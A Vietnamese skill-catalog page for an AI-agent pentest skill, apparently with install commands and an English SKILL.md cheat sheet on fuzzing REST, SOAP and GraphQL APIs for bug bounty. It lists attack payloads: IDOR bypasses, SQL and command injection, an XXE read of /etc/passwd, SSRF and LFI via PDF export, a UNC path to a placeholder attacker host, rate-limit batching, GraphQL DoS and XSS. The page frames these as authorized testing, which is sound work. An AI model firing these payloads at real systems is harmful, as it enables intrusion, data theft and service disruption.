api-fuzzing-bug-bounty – skill Lập trình cho agent AI
Cung cấp kỹ thuật kiểm thử API REST, SOAP và GraphQL trong săn bug bounty và các đợt kiểm thử xâm nhập (pentest). Bao gồm phát hiện lỗ hổng, bypass xác thực, khai thác IDOR và các vector tấn công đặc thù cho API.
Cài skill api-fuzzing-bug-bounty bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/api-fuzzing-bug-bounty-fb8af.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /api-fuzzing-bug-bounty – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/api-fuzzing-bug-bounty-fb8af.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $api-fuzzing-bug-bounty – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/api-fuzzing-bug-bounty-fb8af.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /api-fuzzing-bug-bounty – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/api-fuzzing-bug-bounty-fb8af.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /api-fuzzing-bug-bounty – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
API Fuzzing for Bug Bounty
Purpose
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
Inputs/Prerequisites
- Burp Suite or similar proxy tool
- API wordlists (SecLists, api_wordlist)
- Understanding of REST/GraphQL/SOAP protocols
- Python for scripting
- Target API endpoints and documentation (if available)
Outputs/Deliverables
- Identified API vulnerabilities
- IDOR exploitation proofs
- Authentication bypass techniques
- SQL injection points
- Unauthorized data access documentation
---
API Types Overview
| Type | Protocol | Data Format | Structure |
|------|----------|-------------|-----------|
| SOAP | HTTP | XML | Header + Body |
| REST | HTTP | JSON/XML/URL | Defined endpoints |
| GraphQL | HTTP | Custom Query | Single endpoint |
---
Core Workflow
Use controlled test accounts/tenants and read-only canary resources. Scope rate, concurrency, duration, write/delete methods, SSRF destinations and any callback endpoint in the rules of engagement. DoS/deep recursion, credential attacks and destructive method tests require explicit separate approval and a disposable lab where possible. Stop on rate limits or unexpected access to real personal data; never evade limits through IP rotation. Payloads below are hypotheses, not proof of a vulnerability or a mandate to try every technique.
Step 1: API Reconnaissance
Identify API type and enumerate endpoints:
# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
# Extract paths from Swagger
python3 json2paths.py swagger.jsonStep 2: Authentication Testing
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# Check rate limiting on auth endpoints
# If no rate limit → brute force possible
# Test mobile vs web API separately
# Don't assume same security controlsStep 3: IDOR Testing
Insecure Direct Object Reference is the most common API vulnerability:
# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
# Even if ID is email-based, try numeric
/?user_id=111 instead of /[email protected]
# Test /me/orders vs /user/654321/ordersIDOR Bypass Techniques:
# Wrap ID in array
{"id":111} → {"id":[111]}
# JSON wrap
{"id":111} → {"id":{"id":111}}
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
# Wildcard injection
{"user_id":"*"}
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}Step 4: Injection Testing
SQL Injection in JSON:
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → Observe response; an error alone proves nothing
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SECCommand Injection:
# Ruby on Rails
?url=Kernel#open → ?url=|ls
# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/XXE Injection:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>SSRF via API:
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>.NET Path.Combine Vulnerability:
# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.pngStep 5: Method Testing
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# Switch content type
Content-Type: application/json → application/xml---
GraphQL-Specific Testing
Introspection Query
Fetch entire backend schema:
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}URL-encoded version:
/graphql?query={__schema{types{name,kind,description,fields{name}}}}GraphQL IDOR
# Try accessing other user IDs
query {
user(id: "OTHER_USER_ID") {
id # Controlled canary record only; do not request real passwords/payment data
}
}GraphQL SQL/NoSQL Injection
mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}Rate Limit Bypass (Batching)
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}GraphQL DoS (Nested Queries)
query {
posts {
comments {
user {
posts {
comments {
user {
posts { ... }
}
}
}
}
}
}
}GraphQL XSS
# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%EGraphQL Tools
| Tool | Purpose |
|------|---------|
| GraphCrawler | Schema discovery |
| graphw00f | Fingerprinting |
| clairvoyance | Schema reconstruction |
| InQL | Burp extension |
| GraphQLmap | Exploitation |
---
Endpoint Bypass Techniques
When receiving 403/401, try these bypasses:
# Original blocked request
/api/v1/users/sensitivedata → 403
# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata---
Output Exploitation
PDF Export Attacks
<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>
<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>
<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>
<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>DoS via Limits
# Normal request
/api/news?limit=100
# DoS attempt
/api/news?limit=9999999999---
Common API Vulnerabilities Checklist
| Vulnerability | Description |
|---------------|-------------|
| API Exposure | Unprotected endpoints exposed publicly |
| Misconfigured Caching | Sensitive data cached incorrectly |
| Exposed Tokens | API keys/tokens in responses or URLs |
| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
| IDOR / BOLA | Broken Object Level Authorization |
| Undocumented Endpoints | Hidden admin/debug endpoints |
| Different Versions | Security gaps in older API versions |
| Rate Limiting | Missing or bypassable rate limits |
| Race Conditions | TOCTOU vulnerabilities |
| XXE Injection | XML parser exploitation |
| Content Type Issues | Switching between JSON/XML |
| HTTP Method Tampering | GET→DELETE/PUT abuse |
---
Quick Reference
| Vulnerability | Test Payload | Risk |
|---------------|--------------|------|
| IDOR | Change user_id parameter | High |
| SQLi | ' OR 1=1-- in JSON | Critical |
| Command Injection | ; ls / | Critical |
| XXE | DOCTYPE with ENTITY | High |
| SSRF | Internal IP in params | High |
| Rate Limit Bypass | Batch requests | Medium |
| Method Tampering | GET→DELETE | High |
---
Tools Reference
| Category | Tool | URL |
|----------|------|-----|
| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
| API Fuz
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- api-integration – Thiết kế kiến trúc hướng sự kiện, hệ thống webhook, luồng nối chuỗi API, pipeline ETL và…
- api-integration-architect – Thiết kế, triển khai, gỡ lỗi và tối ưu tích hợp API với các mẫu chuyên sâu cho REST…
- api-onboarding – Giảm thời gian đến lần gọi API đầu tiên (TTFAC) bằng cách tối ưu từng bước trong hành…
- api-patterns – Nguyên tắc thiết kế API và cách ra quyết định. Lựa chọn REST vs GraphQL vs tRPC, định…
- api-rate-limit-handler – Triển khai cơ chế giới hạn tần suất API (throttling) có giới hạn, nhận biết idempotency…
- api-sdk-generator – Tạo mã SDK client, thư viện wrapper cho API, model request/response và cách dùng theo…
- api-security-best-practices – Triển khai các mẫu thiết kế API an toàn gồm xác thực, phân quyền, kiểm tra đầu vào, giới…
- api-security-testing – Quy trình kiểm thử bảo mật cho REST và GraphQL API, bao gồm xác thực, phân quyền, rate…